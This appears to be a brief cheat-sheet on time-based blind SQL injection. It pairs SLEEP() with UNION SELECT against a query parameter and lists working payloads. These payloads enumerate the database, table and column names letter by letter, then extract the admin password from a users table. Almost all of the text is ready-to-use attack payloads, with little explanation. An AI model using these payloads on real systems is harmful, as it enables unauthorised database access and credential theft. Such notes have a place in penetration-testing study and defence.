Indication of a correct query is based on the time the query takes to complete.
This time delay is introduced by using built-in methods such as SLEEP(x) alongside the UNION statement.
The SLEEP() method will only ever get executed upon a successful UNION SELECT statement.
/endpoint?query=admin123'
/endpoint?query=admin123' UNION SELECT SLEEP(5),2 where database() like 'a%';--
Cycle through possible table names, when we get a hit on a character then move to the next character and repeat
UNION SELECT SLEEP(5),2 where database() like 'a%';--
UNION SELECT SLEEP(5),2 FROM information_schema.tables WHERE table_schema = 'found_db' and table_name like 'a%';--
UNION SELECT SLEEP(5),2 FROM information_schema.tables WHERE table_schema = 'found_db' and table_name='found_table';--
UNION SELECT SLEEP(5),2 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='found_db' and TABLE_NAME='found_table' and COLUMN_NAME like 'a%';
UNION SELECT SLEEP(5),2 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='found_db' and TABLE_NAME='found_table' and COLUMN_NAME like 'a%' and COLUMN_NAME !='found_col';
UNION SELECT SLEEP(5),2 from found_table where found_col like 'a%
UNION SELECT SLEEP(5),2 from users where username='admin' and password like 'a%